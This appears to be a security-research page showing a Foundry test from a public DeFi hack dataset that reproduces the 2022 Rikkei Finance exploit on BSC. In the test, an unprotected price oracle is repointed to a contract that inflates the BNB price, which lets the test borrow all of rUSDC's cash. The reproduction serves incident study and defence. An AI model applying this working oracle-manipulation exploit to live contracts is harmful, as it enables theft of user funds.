Public reproduction file

src/test/2022-04/Rikkei_exp.sol

Public reproduction file for dataset entry Rikkei Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/Rikkei_exp.sol47 lines

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract ContractTest is Test {
9    IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
10    IRToken rbnb = IRToken(0x157822aC5fa0Efe98daa4b0A55450f4a182C10cA);
11    IRToken rusdc = IRToken(0x916e87d16B2F3E097B9A6375DC7393cf3B5C11f5);
12    ICointroller cointroller = ICointroller(0x4f3e801Bd57dC3D641E72f2774280b21d31F64e4);
13    ISimplePriceOracle simplePriceOracle = ISimplePriceOracle(0xD55f01B4B51B7F48912cD8Ca3CDD8070A1a9DBa5);
14    IPriceFeed chainlinkBNBUSDPriceFeed = IPriceFeed(0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE);
15    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
16 
17    function setUp() public {
18        cheats.createSelectFork("bsc", 16_956_474); //fork bsc at block 16956474
19    }
20 
21    function testExploit() public {
22        emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
23        rbnb.approve(address(cointroller), type(uint256).max);
24        address[] memory rTokens = new address[](1);
25        rTokens[0] = address(rbnb);
26        cointroller.enterMarkets(rTokens);
27        rbnb.mint{value: 100_000_000_000_000}();
28        simplePriceOracle.setOracleData(address(rbnb), address(this));
29        rusdc.borrow(rusdc.getCash());
30        rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));
31        simplePriceOracle.setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed));
32        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
33    }
34 
35    function decimals() external view returns (uint8) {
36        return chainlinkBNBUSDPriceFeed.decimals();
37    }
38 
39    function latestRoundData()
40        external
41        view
42        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
43    {
44        (roundId, answer, startedAt, updatedAt, answeredInRound) = chainlinkBNBUSDPriceFeed.latestRoundData();
45        answer = answer * 1e10;
46    }
47}

Analysis

Dataset entry

Public Foundry test for “Rikkei Finance” (2022-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-04/AkutarNFT_exp.solSame month in the dataset · 69 lines
src/test/2022-04/Beanstalk_exp.solSame month in the dataset · 145 lines
src/test/2022-04/cftoken_exp.solSame month in the dataset · 46 lines
src/test/2022-04/deus_exp.solSame month in the dataset · 157 lines
src/test/2022-04/Elephant_Money_exp.solSame month in the dataset · 119 lines
src/test/2022-04/Gym_1_exp.solSame month in the dataset · 74 lines
src/test/2022-04/Rari_exp.solSame month in the dataset · 102 lines
src/test/2022-04/Saddle_exp.solSame month in the dataset · 91 lines
src/test/2022-04/Wdoge_exp.solSame month in the dataset · 38 lines
src/test/2022-04/Zeed_exp.solSame month in the dataset · 51 lines

File record

Name: Rikkei Finance
Path: src/test/2022-04/Rikkei_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 008df4273af35a6503c18eb834b2a6e57ec32d91
Language: Solidity
Size: 48 lines
Date: 2022-04-15
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-04/Rikkei_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 008df4273af35a6503c18eb834b2a6e57ec32d91, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.